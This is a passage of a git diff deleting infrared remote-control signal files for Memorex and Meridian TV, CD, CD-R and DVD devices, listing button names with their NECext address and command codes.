-protocol: NECext -address: 00 00 00 00 -command: 8C 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8D 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8F 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 90 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 90 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 91 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 93 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 93 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C0 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C1 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C2 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C4 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C5 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C6 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C8 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C9 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CC 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CD 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D0 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D1 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D2 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D2 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D3 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Memorex/TV/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Memorex/TV/4,-1.ir deleted file mode 100644 index 200d9f60a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Memorex/TV/4,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir deleted file mode 100644 index 77d48059d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir +++ /dev/null @@ -1,374 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 09 00 00 00 -# -name: SLOW_MOTION_>> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0A 00 00 00 -# -name: STANDBY_(OFF) -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0D 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 11 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 1D 00 00 00 -# -name: >>I_NEXT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: I<<_PREVIOUS -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 23 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 28 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 30 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 31 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 32 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 33 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 36 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 37 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3A 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3B 00 00 00 -# -name: PHASE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3C 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 43 00 00 00 -# -name: CHAPTER -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 44 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 45 00 00 00 -# -name: INPUT_LD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 4C 00 00 00 -# -name: MENU_PLUS -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 50 00 00 00 -# -name: MENU_MINUS -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 51 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 52 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 53 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 55 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 56 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 57 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5D 00 00 00 -# -name: DVD_MENU_+ -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5E 00 00 00 -# -name: DVD_MENU_- -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5F 00 00 00 -# -name: DVD_MENU_LEFT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 60 00 00 00 -# -name: DVD_MENU_RIGHT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 61 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6B 00 00 00 -# -name: INPUT_RADIO -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6C 00 00 00 -# -name: INPUT_TAPE_1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6D 00 00 00 -# -name: INPUT_TAPE_2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6E 00 00 00 -# -name: INPUT_CABLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6F 00 00 00 -# -name: INPUT_VCR_1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 70 00 00 00 -# -name: INPUT_VCR_2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 71 00 00 00 -# -name: INPUT_LP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 72 00 00 00 -# -name: INPUT_TV -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 73 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 74 00 00 00 -# -name: INPUT_CDR -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 75 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 79 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/CD Player/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/CD Player/19,-1.ir deleted file mode 100644 index 6d5686503..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/CD Player/19,-1.ir +++ /dev/null @@ -1,332 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 09 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0B 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0C 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0D 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0E 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 11 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 1D 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: RADIO -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 24 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 25 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 26 00 00 00 -# -name: TAPE_3 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 27 00 00 00 -# -name: LINE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 28 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 29 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2A 00 00 00 -# -name: LP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2B 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2C 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 30 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 31 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 31 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 32 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 32 00 00 00 -# -name: TRACK -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 33 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 36 00 00 00 -# -name: PHASE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3C 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 50 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 51 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 52 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 53 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 55 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 56 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 57 00 00 00 -# -name: DSP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5D 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 79 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/CD-R/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/CD-R/19,-1.ir deleted file mode 100644 index 5deba9916..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/CD-R/19,-1.ir +++ /dev/null @@ -1,494 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 08 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 09 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0A 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0E 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 1D 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 23 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 23 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 28 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 28 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 30 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 31 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 32 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 33 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 33 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 36 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 37 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 37 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3A 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3B 00 00 00 -# -name: PHASE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3C 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 43 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 43 00 00 00 -# -name: CHAPTER -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 44 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 44 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 45 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 45 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 50 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 51 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 51 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 52 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 52 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 53 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 55 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 56 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 56 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 57 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 57 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 7A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir deleted file mode 100644 index 3c750b1f0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir +++ /dev/null @@ -1,638 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 08 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 09 00 00 00 -# -name: SLOW/PAGE_FORWARD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0A 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0B 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0C 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0E 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 1D 00 00 00 -# -name: NEXT_TRACK -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: PREVIOUS_TRACK -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 23 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 23 00 00 00 -# -name: SUBTITLE_ON/OFF -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 28 00 00 00 -# -name: SUBTITLE_ON_/_OFF -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 28 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 28 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 28 00 00 00 -# -name: SUBTITLE_LANGUAGE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2A 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2A 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2D 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 30 00 00 00 -# -name: CLEAR -type: parsed 